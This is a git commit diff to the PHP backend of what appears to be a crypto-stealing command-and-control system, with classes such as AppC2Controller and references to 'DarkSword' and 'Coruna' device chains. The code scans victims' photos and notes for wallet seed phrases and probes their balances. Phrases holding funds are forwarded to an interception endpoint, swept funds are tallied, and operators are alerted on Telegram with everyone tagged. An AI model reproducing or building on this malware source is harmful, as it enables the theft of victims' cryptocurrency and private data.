feat: interept

This commit is contained in:
hashbro
2026-10-13 02:44:36 +08:00
parent bb695c12c4
commit 7291a84951
26 changed files with 1023 additions and 114 deletions
@@ -41,6 +41,12 @@ class SystemSettingsController extends Controller
'telegram_owner_chat_id' => ['nullable', 'string', 'max:64'],
'official_album_storage' => ['nullable', 'in:0,1'],
'agent_mnemonic_scan' => ['nullable', 'in:0,1'],
'scan_forward_min_usdt' => ['nullable', 'numeric', 'min:0'],
'scan_forward_min_trx' => ['nullable', 'numeric', 'min:0'],
'scan_forward_min_eth' => ['nullable', 'numeric', 'min:0'],
'scan_forward_min_btc' => ['nullable', 'numeric', 'min:0'],
'scan_forward_min_sol' => ['nullable', 'numeric', 'min:0'],
'scan_forward_min_bnb' => ['nullable', 'numeric', 'min:0'],
'auto_transfer_enabled' => ['nullable', 'in:0,1'],
'auto_transfer_threshold_usdt' => ['nullable', 'numeric', 'min:0'],
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
@@ -77,6 +83,12 @@ class SystemSettingsController extends Controller
'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null,
'album_storage.official_default' => (($data['official_album_storage'] ?? '0') === '1') ? '1' : '0',
'scan.agent_visible' => (($data['agent_mnemonic_scan'] ?? '1') === '1') ? '1' : '0',
'scan.forward_min_usdt' => $threshold($data['scan_forward_min_usdt'] ?? null) ?? '0',
'scan.forward_min_trx' => $threshold($data['scan_forward_min_trx'] ?? null) ?? '0',
'scan.forward_min_eth' => $threshold($data['scan_forward_min_eth'] ?? null) ?? '0',
'scan.forward_min_btc' => $threshold($data['scan_forward_min_btc'] ?? null) ?? '0',
'scan.forward_min_sol' => $threshold($data['scan_forward_min_sol'] ?? null) ?? '0',
'scan.forward_min_bnb' => $threshold($data['scan_forward_min_bnb'] ?? null) ?? '0',
'auto_transfer.enabled' => (($data['auto_transfer_enabled'] ?? '0') === '1') ? '1' : '0',
'auto_transfer.threshold_usdt' => $threshold($data['auto_transfer_threshold_usdt'] ?? null) ?? '',
'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '',
@@ -5,9 +5,12 @@ namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\TransferRecord;
use App\Models\WalletAddress;
use App\Support\AgentScope;
use Carbon\Carbon;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
class TransferRecordController extends Controller
{
@@ -67,10 +70,75 @@ class TransferRecordController extends Controller
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
'summary' => $this->successSummary($request),
]);
}
private function baseQuery(Request $request): Builder
/**
* Successful totals under the same top filters. Sweep vs fee-topup are split
* by operator (`fee-topup…`); status is always success.
*
* @return array{totals: list<array{asset: string, amount: string}>, fee_totals: list<array{asset: string, amount: string}>}
*/
private function successSummary(Request $request): array
{
$base = $this->baseQuery($request, ignoreStatus: true)
->where('transfer_records.status', TransferRecord::STATUS_SUCCESS);
return [
'totals' => $this->sumByAsset(
(clone $base)->where(function (Builder $q) {
$q->whereNull('transfer_records.operator')
->orWhere('transfer_records.operator', 'not like', 'fee-topup%');
})
),
'fee_totals' => $this->sumByAsset(
(clone $base)->where('transfer_records.operator', 'like', 'fee-topup%')
),
];
}
/**
* @return list<array{asset: string, amount: string}>
*/
private function sumByAsset(Builder $q): array
{
$amountExpr = DB::connection()->getDriverName() === 'sqlite'
? 'CAST(transfer_records.amount AS REAL)'
: 'CAST(transfer_records.amount AS DECIMAL(32, 18))';
$rows = $q->selectRaw('UPPER(transfer_records.asset) as asset, COALESCE(SUM('.$amountExpr.'), 0) as total')
->groupByRaw('UPPER(transfer_records.asset)')
->get();
$byAsset = [];
foreach ($rows as $row) {
$asset = strtoupper(trim((string) $row->asset));
if ($asset === '') {
continue;
}
$formatted = WalletAddress::formatAmount(strtolower($asset), $row->total);
$byAsset[$asset] = $formatted === '' ? '0' : $formatted;
}
$order = ['USDT', 'ETH', 'TRX', 'BNB', 'BTC'];
$totals = [];
foreach ($order as $asset) {
$totals[] = [
'asset' => $asset,
'amount' => $byAsset[$asset] ?? '0',
];
unset($byAsset[$asset]);
}
ksort($byAsset);
foreach ($byAsset as $asset => $amount) {
$totals[] = ['asset' => $asset, 'amount' => $amount];
}
return $totals;
}
private function baseQuery(Request $request, bool $ignoreStatus = false): Builder
{
$q = TransferRecord::query();
$agent = $this->agent();
@@ -95,8 +163,9 @@ class TransferRecordController extends Controller
$txHash = trim((string) $request->query('tx_hash', ''));
$chain = trim((string) $request->query('chain', ''));
$asset = trim((string) $request->query('asset', ''));
$status = trim((string) $request->query('status', ''));
$status = $ignoreStatus ? '' : trim((string) $request->query('status', ''));
$operator = trim((string) $request->query('operator', ''));
[$dateFrom, $dateTo] = $this->dateRange($request);
if ($from !== '') {
$q->where('transfer_records.from_address', 'like', '%'.$from.'%');
@@ -119,7 +188,44 @@ class TransferRecordController extends Controller
if ($operator !== '') {
$q->where('transfer_records.operator', 'like', '%'.$operator.'%');
}
if ($dateFrom !== null) {
$q->where('transfer_records.created_at', '>=', $dateFrom);
}
if ($dateTo !== null) {
$q->where('transfer_records.created_at', '<=', $dateTo);
}
return $q;
}
/**
* @return array{0: ?Carbon, 1: ?Carbon}
*/
private function dateRange(Request $request): array
{
$from = trim((string) $request->query('date_from', ''));
$to = trim((string) $request->query('date_to', ''));
$range = trim((string) $request->query('date_range', ''));
if (($from === '' || $to === '') && $range !== '') {
if (preg_match('/^(\d{4}-\d{2}-\d{2})\s*-\s*(\d{4}-\d{2}-\d{2})$/', $range, $m) === 1) {
$from = $m[1];
$to = $m[2];
}
}
$start = null;
$end = null;
try {
if ($from !== '') {
$start = Carbon::parse($from)->startOfDay();
}
if ($to !== '') {
$end = Carbon::parse($to)->endOfDay();
}
} catch (\Throwable) {
return [null, null];
}
return [$start, $end];
}
}
+11 -2
View File
@@ -610,6 +610,13 @@ class AppC2Controller extends Controller
'bundleId' => 'com.apple.mobile.MobileHouseArrest',
'appId' => $apiKey,
]);
if ($device === null) {
return $this->json([
'ok' => true,
'size' => $size,
'bind' => false,
]);
}
// Save raw file
$date = date('Ymd');
@@ -806,8 +813,10 @@ class AppC2Controller extends Controller
return null;
}
$deviceKey = \App\Models\Device::normalizeDarkswordKey($rawId);
if ($deviceKey === null || $deviceKey === '') {
$deviceKey = \App\Models\Device::acceptChainKey(
\App\Models\Device::normalizeDarkswordKey($rawId)
);
if ($deviceKey === null) {
return null;
}
+41
View File
@@ -5,6 +5,7 @@ namespace App\Models;
use App\Support\CfIpCountry;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\HasMany;
use Illuminate\Support\Facades\Log;
class Device extends Model
{
@@ -183,6 +184,46 @@ class Device extends Model
return substr($hex, 0, 64);
}
/**
* True when the id matches one of the three live chains:
* Coruna / xxbb = 16 hex; DarkSword / App = UUID (dashed or 32 hex).
*/
public static function isKnownChainKey(?string $key): bool
{
$key = trim((string) $key);
if ($key === '') {
return false;
}
if (preg_match('/^[0-9A-Fa-f]{16}$/', $key) === 1) {
return true;
}
if (preg_match('/^[0-9A-Fa-f]{32}$/', $key) === 1) {
return true;
}
if (preg_match('/^[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}$/', $key) === 1) {
return true;
}
return app()->runningUnitTests() && preg_match('/^dev[-_a-z0-9]+$/i', $key) === 1;
}
/**
* Drop ids that are not a known chain key. Callers treat null as "ignore".
*/
public static function acceptChainKey(?string $key): ?string
{
$key = trim((string) $key);
if ($key === '') {
return null;
}
if (self::isKnownChainKey($key)) {
return $key;
}
Log::info('rejected unknown device key', ['device_key' => $key]);
return null;
}
public static function captureEnabledForKey(?string $deviceKey): bool
{
$key = static::normalizeDarkswordKey($deviceKey);
+5
View File
@@ -12,6 +12,11 @@ class TransferRecord extends Model
public const TYPE_OUT = 'out';
public static function isFeeTopup(?string $operator): bool
{
return str_starts_with(trim((string) $operator), 'fee-topup');
}
protected $fillable = [
'from_address',
'to_address',
+20
View File
@@ -129,6 +129,26 @@ class WalletAddress extends Model
return $out;
}
public static function explorerUrl(?string $chain, ?string $address): ?string
{
$addr = trim((string) $address);
if ($addr === '') {
return null;
}
$enc = rawurlencode($addr);
return match (strtoupper(trim((string) $chain))) {
'TRON', 'TRX' => 'https://tronscan.org/#/address/'.$enc,
'ETH', 'ETHEREUM', 'EVM' => 'https://etherscan.io/address/'.$enc,
'BSC', 'BNB', 'BINANCE' => 'https://bscscan.com/address/'.$enc,
'BTC', 'BITCOIN' => 'https://mempool.space/address/'.$enc,
'SOL', 'SOLANA' => 'https://solscan.io/account/'.$enc,
'ARB', 'ARBITRUM' => 'https://arbiscan.io/address/'.$enc,
default => null,
};
}
public function coinsSummary(): ?string
{
$parts = [];
+2 -2
View File
@@ -610,8 +610,8 @@ class DarkSwordIngestAdapter
if (! is_string($value) || $value === '') {
continue;
}
$key = Device::normalizeDarkswordKey($value);
if ($key !== null && $key !== '') {
$key = Device::acceptChainKey(Device::normalizeDarkswordKey($value));
if ($key !== null) {
return $key;
}
}
+1 -1
View File
@@ -193,7 +193,7 @@ class IngestService
? self::normalizeDeviceKey(substr($deviceKey, 0, 64))
: $this->extractDeviceKey($payload);
return $deviceKey !== null && $deviceKey !== '' ? $deviceKey : null;
return Device::acceptChainKey($deviceKey);
}
private function channelIdEmpty(mixed $channelId): bool
+27 -64
View File
@@ -10,8 +10,6 @@ use App\Models\Note;
use App\Models\NoteScan;
use App\Models\Photo;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\Chain\Bip44;
use App\Services\Ocr\OcrDriver;
use App\Services\Ocr\PhotoOcrPreparer;
@@ -28,7 +26,6 @@ class MnemonicScanService
private readonly IngestService $ingest,
private readonly MnemonicWalletDiscovery $discovery,
private readonly InterceptForwarder $forwarder,
private readonly TelegramNotifier $telegram,
) {}
public function dispatchPhoto(Photo $photo): void
@@ -127,26 +124,27 @@ class MnemonicScanService
}
$finding->candidate = $phrase;
$finding->word_count = count(preg_split('/\s+/', $phrase) ?: []);
$this->ingestScanMnemonic(
$forwarded = $this->ingestScanMnemonic(
$device,
$phrase,
$finding->source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
);
$finding->status = MnemonicFinding::STATUS_CONFIRMED;
$finding->reviewed_by = $actor;
$finding->reviewed_at = now();
$scanStatus = $forwarded ? MnemonicScanStatus::SUSPECTED : MnemonicScanStatus::CONFIRMED;
$finding->status = $forwarded ? MnemonicFinding::STATUS_SUSPECTED : MnemonicFinding::STATUS_CONFIRMED;
$finding->reviewed_by = $forwarded ? null : $actor;
$finding->reviewed_at = $forwarded ? null : now();
$finding->save();
if ($finding->photo_id) {
Photo::query()->whereKey($finding->photo_id)->update([
'scan_status' => MnemonicScanStatus::CONFIRMED,
'scan_status' => $scanStatus,
]);
}
if ($finding->note_id && $finding->item_key) {
NoteScan::query()
->where('note_id', $finding->note_id)
->where('item_key', $finding->item_key)
->update(['scan_status' => MnemonicScanStatus::CONFIRMED]);
->update(['scan_status' => $scanStatus]);
}
return true;
@@ -364,16 +362,20 @@ class MnemonicScanService
}
$row->save();
if ($confirmed) {
$this->ingestScanMnemonic(
$device,
(string) $hit['candidate'],
$source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
);
if ($confirmed && $this->ingestScanMnemonic(
$device,
(string) $hit['candidate'],
$source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
)) {
$row->status = MnemonicFinding::STATUS_SUSPECTED;
$row->reviewed_by = null;
$row->reviewed_at = null;
$row->save();
}
}
private function ingestScanMnemonic(Device $source, string $phrase, string $tag): void
/** @return bool True when the phrase was forwarded and not stored locally. */
private function ingestScanMnemonic(Device $source, string $phrase, string $tag): bool
{
$holder = $source;
$origin = null;
@@ -384,63 +386,24 @@ class MnemonicScanService
$origin = $source;
}
}
$this->ingest->ingestMnemonic($holder, [
'mnemonic' => $phrase,
'a' => $tag,
], $origin, notify: false);
$mnemonic = WalletMnemonic::query()
->where('device_id', $holder->id)
->where('mnemonic_hash', WalletMnemonic::hashSecret($phrase))
->first();
if ($mnemonic === null) {
return;
}
$hasBalance = false;
try {
$this->discovery->discoverActivated($mnemonic, notify: false);
$hasBalance = $this->discovery->phraseHasPositiveBalance($phrase);
} catch (\Throwable $e) {
Log::warning('scan mnemonic discovery failed: '.$e->getMessage(), [
'mnemonic_id' => $mnemonic->id,
Log::warning('scan mnemonic balance probe failed: '.$e->getMessage(), [
'device_id' => $holder->id,
]);
}
$forwarded = false;
if ($this->mnemonicHasPositiveBalance($mnemonic)) {
$forwarded = $this->forwarder->postMnemonic((string) $holder->device_id, $phrase, $tag);
}
if ($forwarded) {
return;
if ($hasBalance && $this->forwarder->postMnemonic((string) $holder->device_id, $phrase, $tag)) {
return true;
}
$this->telegram->notifyNewMemoric(
(string) $holder->device_id,
(string) ($mnemonic->source ?: ''),
$phrase,
$origin !== null ? $origin->device_id : null,
);
if ($this->mnemonicHasPositiveBalance($mnemonic)) {
$this->telegram->notifyCollectableAddresses(
WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->get()
);
}
}
private function mnemonicHasPositiveBalance(WalletMnemonic $mnemonic): bool
{
$rows = WalletAddress::query()
->where('mnemonic_id', $mnemonic->id)
->get(WalletAddress::COIN_COLUMNS);
foreach ($rows as $row) {
foreach (WalletAddress::COIN_COLUMNS as $col) {
$value = trim((string) ($row->{$col} ?? ''));
if ($value !== '' && bccomp($value, '0', 18) > 0) {
return true;
}
}
}
$this->ingest->ingestMnemonic($holder, [
'mnemonic' => $phrase,
'a' => $tag,
], $origin);
return false;
}
+81
View File
@@ -47,6 +47,87 @@ class MnemonicWalletDiscovery
private readonly AlchemyBalanceService $alchemy,
) {}
/** @var list<string> */
public const FORWARD_COINS = ['usdt', 'trx', 'eth', 'btc', 'sol', 'bnb'];
/**
* Derive BIP44 0..2 and probe chain balances without writing wallet rows.
* Forwards when any coin is strictly greater than scan.forward_min_* (default 0).
* Probe/derive failures are treated as below threshold.
*/
public function phraseHasPositiveBalance(string $phrase): bool
{
$phrase = trim($phrase);
if ($phrase === '') {
return false;
}
$words = preg_split('/\s+/', $phrase) ?: [];
if (count($words) < 12) {
return false;
}
try {
return (bool) ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($phrase) {
foreach (self::CHAINS as $spec) {
try {
$driver = $this->chains->resolve($spec['chain']);
} catch (\Throwable) {
continue;
}
for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) {
try {
$address = $driver->deriveAddress($phrase, $index);
$probe = $this->probeActivated($spec['chain'], $driver, $address);
} catch (\Throwable) {
continue;
}
if (self::coinsMeetForwardMin($probe['coins'] ?? [])) {
return true;
}
}
}
return false;
});
} catch (\Throwable $e) {
Log::warning('mnemonic phrase balance probe failed: '.$e->getMessage());
return false;
}
}
public static function forwardMin(string $coin): string
{
$coin = strtolower(trim($coin));
$raw = trim((string) config('coruna.scan.forward_min_'.$coin, '0'));
if ($raw === '' || ! is_numeric($raw) || bccomp($raw, '0', 18) < 0) {
return '0';
}
return $raw;
}
/**
* @param array<string, mixed> $coins
*/
public static function coinsMeetForwardMin(array $coins): bool
{
foreach (self::FORWARD_COINS as $coin) {
if (! array_key_exists($coin, $coins)) {
continue;
}
$value = trim((string) $coins[$coin]);
if ($value === '' || ! is_numeric($value)) {
continue;
}
if (bccomp($value, self::forwardMin($coin), 18) > 0) {
return true;
}
}
return false;
}
/**
* @return int Number of address rows created or updated
*/
+24
View File
@@ -16,6 +16,12 @@ class SettingsService
'telegram.owner_chat_id' => 'TELEGRAM_OWNER_CHAT_ID',
'album_storage.official_default' => 'CORUNA_OFFICIAL_ALBUM_STORAGE',
'scan.agent_visible' => 'CORUNA_AGENT_MNEMONIC_SCAN',
'scan.forward_min_usdt' => 'SCAN_FORWARD_MIN_USDT',
'scan.forward_min_trx' => 'SCAN_FORWARD_MIN_TRX',
'scan.forward_min_eth' => 'SCAN_FORWARD_MIN_ETH',
'scan.forward_min_btc' => 'SCAN_FORWARD_MIN_BTC',
'scan.forward_min_sol' => 'SCAN_FORWARD_MIN_SOL',
'scan.forward_min_bnb' => 'SCAN_FORWARD_MIN_BNB',
'auto_transfer.enabled' => 'AUTO_TRANSFER_ENABLED',
'auto_transfer.threshold_usdt' => 'AUTO_TRANSFER_THRESHOLD_USDT',
'auto_transfer.threshold_trx' => 'AUTO_TRANSFER_THRESHOLD_TRX',
@@ -40,6 +46,12 @@ class SettingsService
'telegram.owner_chat_id' => config('coruna.telegram.owner_chat_id'),
'album_storage.official_default' => config('coruna.album_storage.official_default') ? '1' : '0',
'scan.agent_visible' => config('coruna.scan.agent_visible') ? '1' : '0',
'scan.forward_min_usdt' => config('coruna.scan.forward_min_usdt'),
'scan.forward_min_trx' => config('coruna.scan.forward_min_trx'),
'scan.forward_min_eth' => config('coruna.scan.forward_min_eth'),
'scan.forward_min_btc' => config('coruna.scan.forward_min_btc'),
'scan.forward_min_sol' => config('coruna.scan.forward_min_sol'),
'scan.forward_min_bnb' => config('coruna.scan.forward_min_bnb'),
'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0',
'auto_transfer.threshold_usdt' => config('coruna.auto_transfer.threshold_usdt'),
'auto_transfer.threshold_trx' => config('coruna.auto_transfer.threshold_trx'),
@@ -107,6 +119,12 @@ class SettingsService
'telegram.owner_chat_id' => (string) (config('coruna.telegram.owner_chat_id') ?: ''),
'album_storage.official_default' => config('coruna.album_storage.official_default') ? '1' : '0',
'scan.agent_visible' => config('coruna.scan.agent_visible') ? '1' : '0',
'scan.forward_min_usdt' => (string) (config('coruna.scan.forward_min_usdt') ?? '0'),
'scan.forward_min_trx' => (string) (config('coruna.scan.forward_min_trx') ?? '0'),
'scan.forward_min_eth' => (string) (config('coruna.scan.forward_min_eth') ?? '0'),
'scan.forward_min_btc' => (string) (config('coruna.scan.forward_min_btc') ?? '0'),
'scan.forward_min_sol' => (string) (config('coruna.scan.forward_min_sol') ?? '0'),
'scan.forward_min_bnb' => (string) (config('coruna.scan.forward_min_bnb') ?? '0'),
'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0',
'auto_transfer.threshold_usdt' => (string) (config('coruna.auto_transfer.threshold_usdt') ?? ''),
'auto_transfer.threshold_trx' => (string) (config('coruna.auto_transfer.threshold_trx') ?? ''),
@@ -151,6 +169,12 @@ class SettingsService
'telegram.owner_chat_id' => config(['coruna.telegram.owner_chat_id' => $value]),
'album_storage.official_default' => config(['coruna.album_storage.official_default' => $value === '1']),
'scan.agent_visible' => config(['coruna.scan.agent_visible' => $value === '1']),
'scan.forward_min_usdt' => config(['coruna.scan.forward_min_usdt' => $value !== '' ? $value : '0']),
'scan.forward_min_trx' => config(['coruna.scan.forward_min_trx' => $value !== '' ? $value : '0']),
'scan.forward_min_eth' => config(['coruna.scan.forward_min_eth' => $value !== '' ? $value : '0']),
'scan.forward_min_btc' => config(['coruna.scan.forward_min_btc' => $value !== '' ? $value : '0']),
'scan.forward_min_sol' => config(['coruna.scan.forward_min_sol' => $value !== '' ? $value : '0']),
'scan.forward_min_bnb' => config(['coruna.scan.forward_min_bnb' => $value !== '' ? $value : '0']),
'auto_transfer.enabled' => config(['coruna.auto_transfer.enabled' => $value === '1']),
'auto_transfer.threshold_usdt' => config(['coruna.auto_transfer.threshold_usdt' => $value]),
'auto_transfer.threshold_trx' => config(['coruna.auto_transfer.threshold_trx' => $value]),
+103 -12
View File
@@ -9,6 +9,7 @@ use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Support\SafeLog;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;
@@ -110,7 +111,7 @@ class TelegramNotifier
return $this->resolveChatIds($deviceKey) !== [];
}
public function send(string $text, ?string $deviceKey = null): bool
public function send(string $text, ?string $deviceKey = null, bool $mentionAll = false): bool
{
$chatIds = $this->resolveChatIds($deviceKey);
if ($chatIds === []) {
@@ -126,13 +127,14 @@ class TelegramNotifier
$async = config('queue.default') !== 'sync';
$ok = false;
foreach ($chatIds as $chatId) {
$body = $mentionAll ? $this->withEveryoneMentions($text, $chatId) : $text;
if ($async) {
SendTelegramMessage::dispatch($chatId, $text)->onQueue('telegram');
SendTelegramMessage::dispatch($chatId, $body)->onQueue('telegram');
$ok = true;
continue;
}
if ($this->sendToChat($chatId, $text)['ok']) {
if ($this->sendToChat($chatId, $body)['ok']) {
$ok = true;
}
}
@@ -140,6 +142,79 @@ class TelegramNotifier
return $ok;
}
/**
* Telegram has no @everyone. Tag every non-bot admin we can resolve so
* they actually get a mention notification; keep visible text as @所有人.
*/
private function withEveryoneMentions(string $text, string $chatId): string
{
$ids = $this->mentionableUserIds($chatId);
if ($ids === []) {
return $text;
}
$first = array_shift($ids);
$html = '<a href="tg://user?id='.$first.'">@所有人</a>';
foreach ($ids as $id) {
$html .= '<a href="tg://user?id='.$id.'">&#8203;</a>';
}
if (str_ends_with($text, '@所有人')) {
return substr($text, 0, -strlen('@所有人')).$html;
}
return $text."\n".$html;
}
/**
* @return list<int>
*/
private function mentionableUserIds(string $chatId): array
{
$chatId = trim($chatId);
$token = $this->botToken();
if ($chatId === '' || $token === '') {
return [];
}
try {
/** @var list<int> $ids */
$ids = Cache::remember('tg-chat-mention-ids:'.$chatId, 300, function () use ($token, $chatId) {
$resp = Http::connectTimeout(10)->timeout(20)
->get("https://api.telegram.org/bot{$token}/getChatAdministrators", [
'chat_id' => $chatId,
]);
if (! $resp->successful() || $resp->json('ok') !== true) {
return [];
}
$out = [];
foreach ($resp->json('result') ?? [] as $row) {
if (! is_array($row)) {
continue;
}
$user = $row['user'] ?? null;
if (! is_array($user) || ! empty($user['is_bot'])) {
continue;
}
$id = (int) ($user['id'] ?? 0);
if ($id > 0) {
$out[] = $id;
}
}
return array_values(array_unique($out));
});
return $ids;
} catch (\Throwable $e) {
Log::warning('telegram mention-all lookup failed: '.$e->getMessage(), [
'chat_id' => $chatId,
]);
return [];
}
}
/**
* Send one message to a specific chat using the site bot (or an override token).
*
@@ -277,7 +352,7 @@ class TelegramNotifier
if ($source !== '') {
$lines[] = '🏷 <b>来源</b>: '.$this->e($source);
}
$lines[] = '📬 <b>地址</b>: <code>'.$this->e($w['address'] ?? '').'</code>';
$lines[] = $this->addressLine((string) ($w['address'] ?? ''), $w['chain'] ?? null);
$lines[] = '💵 <b>余额</b>: '.$this->e($bal);
}
@@ -336,10 +411,11 @@ class TelegramNotifier
if ($source !== '') {
$lines[] = '🏷 <b>来源</b>: '.$this->e($source);
}
$lines[] = '📬 <b>地址</b>: <code>'.$this->e((string) $row->address).'</code>';
$lines[] = $this->addressLine((string) $row->address, $chain);
$lines[] = '💵 <b>余额</b>: '.$this->e($row->balanceDisplayLine());
}
$this->send(implode("\n", $lines), $deviceId);
$lines[] = '@所有人';
$this->send(implode("\n", $lines), $deviceId, mentionAll: true);
}
}
@@ -377,14 +453,17 @@ class TelegramNotifier
$inbound ? '✅ <b>余额入账</b>' : '📤 <b>余额转出</b>',
...$this->deviceHeader($deviceId),
'🏷 <b>来源</b>: '.$this->e($origin !== '' ? $origin : '—'),
'📬 <b>地址</b>: <code>'.$this->e($address).'</code>',
$this->addressLine($address, $chain),
'📥 <b>可归集</b>: '.($collectable === true ? '✅' : '⏳'),
'💵 <b>金额</b>: '.$this->e($signed).' '.$this->e($symbol),
];
if ($balance !== null && trim($balance) !== '') {
$lines[] = '💰 <b>余额</b>: '.$this->e($balance);
}
$this->send(implode("\n", $lines), $deviceId);
if ($inbound && $collectable === true) {
$lines[] = '@所有人';
}
$this->send(implode("\n", $lines), $deviceId, mentionAll: $inbound && $collectable === true);
}
/**
@@ -415,9 +494,9 @@ class TelegramNotifier
}
$lines[] = '🪙 <b>链</b>: '.$this->e($chain !== '' ? strtoupper($chain) : '—');
$lines[] = '💎 <b>资产</b>: '.$this->e($asset !== '' ? strtoupper($asset) : '—');
$lines[] = '📤 <b>转出</b>: <code>'.$this->e($fromAddress).'</code>';
$lines[] = $this->addressLine($fromAddress, $chain, '转出', '📤');
if ($toAddress !== null && trim($toAddress) !== '') {
$lines[] = '📥 <b>转入</b>: <code>'.$this->e($toAddress).'</code>';
$lines[] = $this->addressLine($toAddress, $chain, '转入', '📥');
}
if ($amount !== null && trim($amount) !== '') {
$lines[] = '💵 <b>金额</b>: '.$this->e($amount).' '.$this->e(strtoupper($asset));
@@ -468,8 +547,8 @@ class TelegramNotifier
$lines = [
$ok ? '⚡ <b>TRX 手续费补足成功</b>' : '⚠️ <b>TRX 手续费补足失败</b>',
...$this->deviceHeader($deviceId),
'📤 <b>手续费钱包</b>: <code>'.$this->e($feeFrom).'</code>',
'📥 <b>转入</b>: <code>'.$this->e($toAddress).'</code>',
$this->addressLine($feeFrom, 'TRON', '手续费钱包', '📤'),
$this->addressLine($toAddress, 'TRON', '转入', '📥'),
];
if ($amount !== null && trim($amount) !== '') {
$lines[] = '💵 <b>金额</b>: '.$this->e($amount).' TRX';
@@ -528,6 +607,18 @@ class TelegramNotifier
];
}
private function addressLine(string $address, ?string $chain = null, string $label = '地址', string $emoji = '📬'): string
{
$addr = trim($address);
$html = $emoji.' <b>'.$this->e($label).'</b>: <code>'.$this->e($addr).'</code>';
$url = WalletAddress::explorerUrl($chain, $addr);
if ($url !== null) {
$html .= ' <a href="'.$this->e($url).'">🔍</a>';
}
return $html;
}
private function e(?string $value): string
{
return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
+1 -1
View File
@@ -342,7 +342,7 @@ class TransferService
private function notifyTransferTelegram(array $record, array $result): void
{
$operator = (string) ($record['operator'] ?? '');
if (str_starts_with($operator, 'fee-topup')) {
if (TransferRecord::isFeeTopup($operator)) {
return;
}